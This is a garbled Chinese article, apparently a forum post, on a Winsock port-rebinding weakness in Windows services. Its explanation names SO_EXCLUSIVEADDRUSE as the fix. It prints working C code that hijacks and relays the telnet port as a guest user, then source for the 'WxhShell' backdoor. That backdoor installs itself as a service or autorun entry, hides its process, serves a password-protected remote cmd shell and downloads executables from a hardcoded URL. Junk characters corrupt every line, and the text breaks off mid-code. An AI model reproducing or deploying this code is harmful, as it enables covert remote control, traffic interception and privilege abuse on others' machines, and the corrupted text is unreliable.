在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\<>%_y'/)h s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
2=
mD VO6y9X" saddr.sin_family = AF_INET;
oU5mrS.7M! *<j @+Ch saddr.sin_addr.s_addr = htonl(INADDR_ANY);
',%&DA2 v%Q7 \X( bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
o/
5Fg>d SX,zJ`" 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
,p1]_D& 1uQf} 这意味着什么?意味着可以进行如下的攻击:
=^M t#h." }w8AnaC 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
vw; Qq`\C0RZ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
KYW1<Wcp 8PS:yBkA| 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
0-HE, lv cyE2= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
?@(H.
D6'v wQ^a2$Z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
#4u; `j"4= v a;wQ~& 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
m m`3-F| s30_lddD 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
bm.H0rHR4 zl?N1>KS #include
_@TTVd #include
:i$Z #include
Dw3!
ibg #include
uy{KV"%"^g DWORD WINAPI ClientThread(LPVOID lpParam);
VA.1JBQ int main()
`s $@6r$ {
S8,06/# WORD wVersionRequested;
K gX)fj DWORD ret;
U s5JnP 5 WSADATA wsaData;
K_}acU BOOL val;
Nb1lawC SOCKADDR_IN saddr;
+s}28U! SOCKADDR_IN scaddr;
F o6U" int err;
}D O# {@af SOCKET s;
CcTJCuOS SOCKET sc;
i=T/}c)
int caddsize;
)^+$5OR\c HANDLE mt;
_K>m9Q2 DWORD tid;
'3VrHL@@g wVersionRequested = MAKEWORD( 2, 2 );
5KSsRq/8" err = WSAStartup( wVersionRequested, &wsaData );
VJaL$Wv)H if ( err != 0 ) {
mUbaR printf("error!WSAStartup failed!\n");
kuaov3Ui return -1;
WXL.D_=+ }
)J0VB't saddr.sin_family = AF_INET;
{cA )jW\' OUPpz_y //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
.R,8<4 .Yx.Lm} saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(XH)1 -Z! saddr.sin_port = htons(23);
.y!Hw{cq if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
($TxVFNT {
6eD[)_?]y printf("error!socket failed!\n");
4hs4W,2! return -1;
4o8!p\a }
s7?kU3y=s val = TRUE;
?H`LrL/k //SO_REUSEADDR选项就是可以实现端口重绑定的
j;
C(:6#J if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
ElAG~u? {
)".gjW8{#L printf("error!setsockopt failed!\n");
{~"=6iyj return -1;
QI-3mqL }
8z-Td- R6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
aZRgd^4 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
.H&;pOf //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
L{-w9(S`i |]Xw1.S.L if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
N%a[Y
{
P<hqr; ret=GetLastError();
i469<^A printf("error!bind failed!\n");
cg~FW2Q return -1;
b<8h\fR#' }
ec=C7M
| listen(s,2);
K^S#?T|[9 while(1)
'e)t+ {
aE"t[' caddsize = sizeof(scaddr);
-=RXhE_{ //接受连接请求
oOlI*/OMb sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
j405G4BVW if(sc!=INVALID_SOCKET)
%lPP1
R {
+ y^s
6j} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
pkoHi'}} $ if(mt==NULL)
;@L#0 {
V)`?J) printf("Thread Creat Failed!\n");
A9#2.5 break;
Rq7ks To }
qfu;X-$4 }
o8,K1ic5# CloseHandle(mt);
1/m/Iw@ }
gUMUh]j closesocket(s);
V= _8G3 WSACleanup();
^vPa{+N return 0;
s)V^_@Z9 }
Z(Vrmz2. DWORD WINAPI ClientThread(LPVOID lpParam)
x.q%O1 {
"*0
szz' SOCKET ss = (SOCKET)lpParam;
8_lD*bEt SOCKET sc;
oGM.{\i unsigned char buf[4096];
5E@V@kw SOCKADDR_IN saddr;
qg O)@B+ long num;
ofSOy1
DWORD val;
GgtL./m DWORD ret;
WO{N@f^ //如果是隐藏端口应用的话,可以在此处加一些判断
T \A uL //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
arB$&s saddr.sin_family = AF_INET;
zumRbrz saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
M3Z yf saddr.sin_port = htons(23);
6k[u0b` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
NOx|
# {
YPM>FDxDB printf("error!socket failed!\n");
}PXWRv.gW return -1;
H [v~ }
JUE>g8\b val = 100;
\yxr@z1_b if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
V7^?jck {
zx!1jS ret = GetLastError();
FLWz7Rj return -1;
f`c z@ }
56)B/0= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
VTHDGBU {
}QI*Ns ret = GetLastError();
}'{(rU return -1;
&M2x` }
sq^,l6es> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Ik,w3 }*P* {
j ]P|iL printf("error!socket connect failed!\n");
A+p}oY ' closesocket(sc);
Ax\Fg
5 closesocket(ss);
k >MgrtJI return -1;
ge`J>2 }
dlU=k9N- while(1)
c{<3\ {
~}5(J,1! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
,lUo@+ //如果是嗅探内容的话,可以再此处进行内容分析和记录
P~#jvm! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
r=k}EP&< num = recv(ss,buf,4096,0);
:DD4BY if(num>0)
HP8pEo0Y send(sc,buf,num,0);
p?`N<ykF< else if(num==0)
/j^zHrLN break;
5x: XXj" num = recv(sc,buf,4096,0);
KIS.4nt#d" if(num>0)
OlK2<< send(ss,buf,num,0);
[
~E}x else if(num==0)
&>/nYvuq - break;
zf!c }
k"U4E
J{ closesocket(ss);
94R+S-|P closesocket(sc);
'-x%?Ll return 0 ;
xq{4i|d) }
8sg *qQ #=tWCxf= w"e2}iE7 ==========================================================
>!2'|y^ "gO5dZ\0 下边附上一个代码,,WXhSHELL
Xu$*ZJ5w LiRY-;8= ==========================================================
'*k\IM{h jQDxbkIuzE #include "stdafx.h"
y6s$.93 {\e}43^9N #include <stdio.h>
HfF$>Z'kM #include <string.h>
|(V3 #include <windows.h>
Nh))U #include <winsock2.h>
K?>&Mr #include <winsvc.h>
NWvxbv #include <urlmon.h>
EAfSbK3z a$GKrc,z #pragma comment (lib, "Ws2_32.lib")
9+:Trc\%N #pragma comment (lib, "urlmon.lib")
AM[:Og S +D@R'$N #define MAX_USER 100 // 最大客户端连接数
ox6rR
#define BUF_SOCK 200 // sock buffer
A3n"zxU #define KEY_BUFF 255 // 输入 buffer
Ixw,$%-]y6 yV. P.Q #define REBOOT 0 // 重启
6PH*]#PfoD #define SHUTDOWN 1 // 关机
nAzr!$qbNv X]!@xlwF\ #define DEF_PORT 5000 // 监听端口
bo2Od J3]m*i5A #define REG_LEN 16 // 注册表键长度
RBXoU'. #define SVC_LEN 80 // NT服务名长度
-&?- .phQ7":` // 从dll定义API
DXt^Ym5Cv typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
8`2K=`]ES+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Oc.>$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
hG^23FiN typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
X&IY(CX UU/|s>F // wxhshell配置信息
sn(}5; struct WSCFG {
*v+ fkg int ws_port; // 监听端口
7h2bL6Y88 char ws_passstr[REG_LEN]; // 口令
C#Jj;Gd int ws_autoins; // 安装标记, 1=yes 0=no
{@A2jk\ char ws_regname[REG_LEN]; // 注册表键名
c'2ra/?k char ws_svcname[REG_LEN]; // 服务名
Mx"tUoU6z char ws_svcdisp[SVC_LEN]; // 服务显示名
brWt char ws_svcdesc[SVC_LEN]; // 服务描述信息
B^9 #X5! char ws_passmsg[SVC_LEN]; // 密码输入提示信息
H<;j&\$q int ws_downexe; // 下载执行标记, 1=yes 0=no
0h#M)Ft char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
67x^{u7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5b,98Q UZra'+Wb };
;[9Is\ 7%"7Rb^@ // default Wxhshell configuration
B*IDx`^Y struct WSCFG wscfg={DEF_PORT,
I>aa'em "xuhuanlingzhe",
P vwIO_W 1,
(#]KjpIK
"Wxhshell",
R`q!~8u "Wxhshell",
:(Bi{cw "WxhShell Service",
qS
al~ "Wrsky Windows CmdShell Service",
4)I#[&f "Please Input Your Password: ",
Qs:r@"hE 1,
hT"K}d;X "
http://www.wrsky.com/wxhshell.exe",
OWsYE? "Wxhshell.exe"
#cS,5(BM };
*.g?y6d EB<q. // 消息定义模块
m{c#cR char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
QEa=!O char *msg_ws_prompt="\n\r? for help\n\r#>";
CN(4;-so) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
VKz<7K\/ char *msg_ws_ext="\n\rExit.";
hm>*eJNp] char *msg_ws_end="\n\rQuit.";
VWt'Kx" char *msg_ws_boot="\n\rReboot...";
"M^W:4_ char *msg_ws_poff="\n\rShutdown...";
;4$C$r!t char *msg_ws_down="\n\rSave to ";
i5Q<~;Z+ J_|x^ char *msg_ws_err="\n\rErr!";
o[hP&9>q char *msg_ws_ok="\n\rOK!";
#Ca's'j&f N1~$ + char ExeFile[MAX_PATH];
x35s6 int nUser = 0;
9'g{<(R] HANDLE handles[MAX_USER];
@l Gn G int OsIsNt;
yuEOQ\!(u Tj5@OcA$ SERVICE_STATUS serviceStatus;
%+a@|Z SERVICE_STATUS_HANDLE hServiceStatusHandle;
mX@*2I y51D-vj // 函数声明
E^a`IA int Install(void);
IQe[ CcM int Uninstall(void);
QYXx7h r=$ int DownloadFile(char *sURL, SOCKET wsh);
'hw@l>1\9 int Boot(int flag);
5l0rw)
void HideProc(void);
O7'3}P; int GetOsVer(void);
2EwWV0BS int Wxhshell(SOCKET wsl);
B@inH]wq void TalkWithClient(void *cs);
&xroms"S= int CmdShell(SOCKET sock);
myOX:K* int StartFromService(void);
oh0|2IrM int StartWxhshell(LPSTR lpCmdLine);
)+4}Ix/q T,2Dr; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
hRIS[#z;U VOID WINAPI NTServiceHandler( DWORD fdwControl );
zy6(S_j r5fkt>HZ // 数据结构和表定义
w })Pedg SERVICE_TABLE_ENTRY DispatchTable[] =
kah3Uhr~ {
Ny,A#-? {wscfg.ws_svcname, NTServiceMain},
XW_xNkpL5c {NULL, NULL}
tW"ptU^9) };
ivz?-X4] `W$0T;MPF // 自我安装
76Vyhf&7 int Install(void)
A2:){`Mw {
-s%-*K+,W char svExeFile[MAX_PATH];
#IhLpO HKEY key;
C=aj& strcpy(svExeFile,ExeFile);
"Xk%3\{P _7.GzQJ // 如果是win9x系统,修改注册表设为自启动
,x"yZ if(!OsIsNt) {
dwbY"t[9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
k-cIb@+" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
p/WH#4Xdr RegCloseKey(key);
u4,X.3V]A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
D7WI(j\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{&}/p-S RegCloseKey(key);
+>:_kE]?nX return 0;
JlDDM
% }
Fr3d#kVR }
Z:lB:U'o }
R-A'v&= else {
B?lBO
V4v4 Hdbnb[e // 如果是NT以上系统,安装为系统服务
9p\Hx#^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
@6YBK+" if (schSCManager!=0)
a j@C0 {
%V <F< SC_HANDLE schService = CreateService
2^^'t 6@ (
]Z$TzT&@% schSCManager,
()nKug`.@ wscfg.ws_svcname,
vJj:9KcP>h wscfg.ws_svcdisp,
ua$k^m7m5 SERVICE_ALL_ACCESS,
V3 _b! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
8>VI$
SERVICE_AUTO_START,
wCU&Xb$F SERVICE_ERROR_NORMAL,
\at-"[. svExeFile,
=|gJb|?w NULL,
0/SC NULL,
e>,9]{N+$ NULL,
6R-C0_'h NULL,
$d2kHT NULL
{8{t]LK< );
8_<&f%/ if (schService!=0)
esh$*)1 {
u 5Eo CloseServiceHandle(schService);
z{`6# CloseServiceHandle(schSCManager);
zJfK4o strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
B-\,2rCC Z strcat(svExeFile,wscfg.ws_svcname);
LZUA+ x( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
d DIQ+/mmg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
!v-w6WG" RegCloseKey(key);
K9C@dvFH return 0;
J})$ }
oN[Fz a> }
rq<`(V'2 CloseServiceHandle(schSCManager);
/63W\ }
waXDGdl0 }
cyGN3t9`. Tsm1C#6 Y* return 1;
JNxW6 cK }
g,n-s+ ^e aRgNz // 自我卸载
5:*5j@/S int Uninstall(void)
:cXIO {
a9D gy_!Y HKEY key;
} g3HoFC /FP ~jV!z if(!OsIsNt) {
d7W%zg\T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
FX|0R#4vm RegDeleteValue(key,wscfg.ws_regname);
J0?$v6S RegCloseKey(key);
Jw:Fj{D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ub`z7gL RegDeleteValue(key,wscfg.ws_regname);
.8T\Nr\~2 RegCloseKey(key);
IwTr'}XIw return 0;
gro7*< }
rPiiC/T.` }
YW8K
$W }
W>p\O9BG else {
/,1SE( hi ;WFyJTu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
<CNE>@-f if (schSCManager!=0)
4NpHX+=P {
T>\nWancQM SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
%PQldPL8 if (schService!=0)
u;+%Qh {
Yw~;g:= if(DeleteService(schService)!=0) {
6?%]odI# CloseServiceHandle(schService);
ov\Ct%] CloseServiceHandle(schSCManager);
F-$Z,Q]S return 0;
0M#N=%31 }
dr|| !{\ CloseServiceHandle(schService);
YH<$ +U }
WdTbt CloseServiceHandle(schSCManager);
V~'k1P4 }
Y)'!'J }
gq
H`GI l9_m>X~ return 1;
?)!Sm N/ }
F1 <489 I$aXnd6) // 从指定url下载文件
yD"]{ int DownloadFile(char *sURL, SOCKET wsh)
/;(<fh<bY {
<)_:NRjBF& HRESULT hr;
&q4ox7 1 char seps[]= "/";
"[awmZ:wo char *token;
=:4' char *file;
*4|9&PNLE char myURL[MAX_PATH];
hf_R\C(c char myFILE[MAX_PATH];
| f"-|6 q$MHCq; strcpy(myURL,sURL);
2yl6~(JC+ token=strtok(myURL,seps);
\#
7@a74 while(token!=NULL)
-,R0IGS {
B@"J]S file=token;
bf1)M>g,O token=strtok(NULL,seps);
BGN9,ii }
G?R_aPP ,[Ag~.T GetCurrentDirectory(MAX_PATH,myFILE);
1&|
strcat(myFILE, "\\");
g>_OuQ|c strcat(myFILE, file);
b;*c:{W) send(wsh,myFILE,strlen(myFILE),0);
/22nLc;/Cx send(wsh,"...",3,0);
bi.wYp(*6L hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Xo\S9,s{ if(hr==S_OK)
eSn$k:\W return 0;
3-iD.IAUm@ else
d+0^u(gc!8 return 1;
YtpRy%
R 2[ksi51y }
NZ+7p{&AN sDX/zF6t // 系统电源模块
bJwc1AJgH int Boot(int flag)
`0rRKlb j4 {
(n,N8k; HANDLE hToken;
$~G@ TOKEN_PRIVILEGES tkp;
m<3w^mww x)_r@l`$ix if(OsIsNt) {
NJm-%K OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
FfG%C>E6~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
V9Hl1\j^ tkp.PrivilegeCount = 1;
.;g}%C tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Lc%xc`n8B AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
e^8BV;+c if(flag==REBOOT) {
?2ItTrlB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
(-(QDRxK return 0;
Gc'M[9Mh }
O:IQ!mzV5 else {
AuXs B if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
W~yLl% return 0;
s&VOwU }
D"!jbVz]* }
l|q%%W0 else {
7h`^N5H.q if(flag==REBOOT) {
H99xZxHZ{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
nA+F return 0;
:3O5ET'1 }
KUFz:&wK else {
G|*G9nQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
7&foEJ3q return 0;
bcn7,ht }
bb1f/C% }
#q;z8 @ |z*>ixK return 1;
3ev -Iqz }
+`Pmq}ey W-m"@<Z // win9x进程隐藏模块
E30Z`$cz: void HideProc(void)
iD714+N( {
#ouE r-= n}OU Y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
|vz9Hs$@l if ( hKernel != NULL )
96}eR, {
1qZG`Vz pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
>pdnCv_c ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
O:YJ%;w FreeLibrary(hKernel);
ZLrHZhP-+ }
GW/WUzK RX>2~^ return;
&a6,ln:P }
:j,}{)5= kP^*hO!% // 获取操作系统版本
Y[um|M315 int GetOsVer(void)
fEwifSp. {
PIxjM> OSVERSIONINFO winfo;
3AeH7g4< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
[0!{_E)< GetVersionEx(&winfo);
:c:V%0Yji if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
dB7ZT0L\ return 1;
"V}qf3qU else
J@Yj\9U return 0;
4K7{f+T }
cz(G]{N 2(+P[( N1, // 客户端句柄模块
r6
}_H?j int Wxhshell(SOCKET wsl)
h.}u?{ {
(w$'o*z;( SOCKET wsh;
;==j|/ERe struct sockaddr_in client;
sLhDO'kM DWORD myID;
zJCEA
KGT3|)QN while(nUser<MAX_USER)
x<F$aXOS {
iRve) int nSize=sizeof(client);
ix*muVBj. wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
taDQ65 if(wsh==INVALID_SOCKET) return 1;
gDC2
>nV L!y"d!6C handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
GTAf if(handles[nUser]==0)
(a#pvEY closesocket(wsh);
0Oap39 else
6tm\L nUser++;
O{q&]~, }
vRr9%zx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
V3uXan_ $[z<oN_Q return 0;
?cK]C2Ak }
$5A^'q ,g|2NjUAc // 关闭 socket
i}lRIXjdV void CloseIt(SOCKET wsh)
>];"N{ A {
S>t>6&A closesocket(wsh);
OZOb1D nUser--;
[r9d<Zi}{ ExitThread(0);
nzuF]vo }
xS+rHC ~Z/7pP+ // 客户端请求句柄
"%
Y u
wMY void TalkWithClient(void *cs)
9g]M4*?C9P {
fp;a5||5 lT,+bU SOCKET wsh=(SOCKET)cs;
>r}Vf9 5[N char pwd[SVC_LEN];
]sL45k2W char cmd[KEY_BUFF];
d G0 VBE char chr[1];
KB[QZ`"%! int i,j;
|GuEGmR (/?R9T[V&^ while (nUser < MAX_USER) {
S#2[%o 2w4MJ,Uw if(wscfg.ws_passstr) {
ri+U0[e3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
vr4S9`, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
F,pCR7o> //ZeroMemory(pwd,KEY_BUFF);
;k}H(QI i=0;
~L'nzquF while(i<SVC_LEN) {
f#OQ (WTJE ZqK]jT6V/X // 设置超时
%rcFT_ fd_set FdRead;
{ERjeuDm] struct timeval TimeOut;
],&\%jd< FD_ZERO(&FdRead);
])N%^Qe$U FD_SET(wsh,&FdRead);
%wL,v.} TimeOut.tv_sec=8;
.
#U}q 7X TimeOut.tv_usec=0;
0p3vE,pF int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
<[hz?:G"$ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
o^GC=Aca` 1JeJxzv>C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
PAoX$q pwd
=chr[0]; o,
LK[Q
if(chr[0]==0xd || chr[0]==0xa) { ? OsS`)T
pwd=0; y x;h
break; /s`;9)G]9
} %g w{[
/[A
i++; g^j7@dum
} Funj!x'uE
j@ v-|
// 如果是非法用户,关闭 socket
TQ' e
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p;`N\.ld
} RIjM(P
;rHz;]si
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *P xf#X
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
#T"64%dX
QJSr:dP4dG
while(1) { (\vXA4Oa,
. r`[
ZeroMemory(cmd,KEY_BUFF); c<tmj{$
:e2X/tl#
// 自动支持客户端 telnet标准 q"nGy#UWR
j=0; Yi Zx{5
while(j<KEY_BUFF) { N-QCfDao
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5~l2!PY
cmd[j]=chr[0]; PEzia}m
if(chr[0]==0xa || chr[0]==0xd) { @?a4i
cmd[j]=0; W~NYU
break; }n[Bq#
} ,`
o+ ?
j++; U~/ID
} &7Kb]Ti
g1V)$s7
// 下载文件 s0!kwrBsp
if(strstr(cmd,"http://")) { voh^|(:(TH
send(wsh,msg_ws_down,strlen(msg_ws_down),0); m6MaX}&zv
if(DownloadFile(cmd,wsh)) S@A<6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); or.\)(m#(
else 5"gL.Ez
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rzT{-DZB[4
} kM`7EPk
else { qZbHMTnT6
e5OVq
,
switch(cmd[0]) { *"T+G*~
{US>)I
// 帮助 !*bdG(pK
case '?': { oHsP?%U
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OjATSmZ@@
break; FmI;lVF0j
} <kbnu7?a*
// 安装 q+%!<]7X
case 'i': { UkfA}b^@v
if(Install()) b1)\Zi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v,0<9!'v
else Z =
ik{/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f4
O]`U
break; 6[+j'pW?
} PbN3;c3
// 卸载 {AgBwBCE
case 'r': { vJThU$s-
if(Uninstall()) PWG;&ma
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C P&o%Uc*
else G?ZC9w]rA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mATH*[Y
break; 5rN7':(H!%
} Gh+f1)\FA"
// 显示 wxhshell 所在路径 r?$&Z^
case 'p': { acae=c|X
char svExeFile[MAX_PATH]; }.t^D|
strcpy(svExeFile,"\n\r"); ^O \q3HA_4
strcat(svExeFile,ExeFile); :D4];d>1
send(wsh,svExeFile,strlen(svExeFile),0); 8]]@S"ZM,\
break; Tzf$*Uje3
} 8_X.c
// 重启 xT=ySa$|>
case 'b': { oG\>--
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |D+p$^L
if(Boot(REBOOT)) }5hZo%w[n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6>uQt:e
else { 453
}S
closesocket(wsh); GGM5m|4
ExitThread(0); X+*<B(E
} Wl
TpX`
break; WG\Q5k4Ba
} OPLl*bnf
// 关机 f}blB?e
case 'd': { B!iFmkCy
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9C=~1>S
if(Boot(SHUTDOWN)) Yx 3|G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /N%zwj/*
else { g/B\ObY
closesocket(wsh); fFHK:n`
ExitThread(0); Iu%^*K%
} Iht'e8)gq
break; O$U}d-Xnx
} UQnBqkE
// 获取shell jm+blB^%K
case 's': { Bs@:rhDi
CmdShell(wsh); AHWh}~Yi
closesocket(wsh); X98#QR#m
ExitThread(0); lJlhl7
break; $':JI#
} sX!3_'-
// 退出 Wt"ww~h`(
case 'x': { z6 a,0&;-L
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bl`D+/V
CloseIt(wsh); i)[kubM
break; LS{bg.e
} 0W_mCV
// 离开 gY%OhYtF2
case 'q': { ~;!BDLMC6
send(wsh,msg_ws_end,strlen(msg_ws_end),0); M6&~LI.We=
closesocket(wsh); @Jm.HST#S8
WSACleanup(); hAlPl<BO#V
exit(1); v`
$%G
break; D/cg7
} *h:D|4oJ(
} ^glX1 )
} z>7=k`x`:
}'v{dK
// 提示信息 %uj[ `
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D(!;V
KH
} O%52V|m}{
} 27Cz1[oX
D$QGL I9(
return; 3Fgz)*Gu]
} '!AT
Etw~*
// shell模块句柄 5`{=`
int CmdShell(SOCKET sock) xUIvLH=
{ ,}u,)7
STARTUPINFO si; i},d[
ZeroMemory(&si,sizeof(si)); ; 4l-M2
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fjcr<&{:
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bpm,mp4g\#
PROCESS_INFORMATION ProcessInfo; gU~
L@R_D
char cmdline[]="cmd"; n%n'1AUP:
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R9Ldl97'
return 0; #t){ 4J
} )y(oHRCp->
&<`-:x1 2_
// 自身启动模式 u2Y N[|V
int StartFromService(void) re]%f"v:5
{ Ndo}Tk!
typedef struct J_|7$
l/
{ 4C6=77Jr
DWORD ExitStatus; =Y/}b\9`T
DWORD PebBaseAddress; q)NXyy4BT
DWORD AffinityMask; -!@H["
DWORD BasePriority; jiqi!*
ULONG UniqueProcessId; WUzSlZq
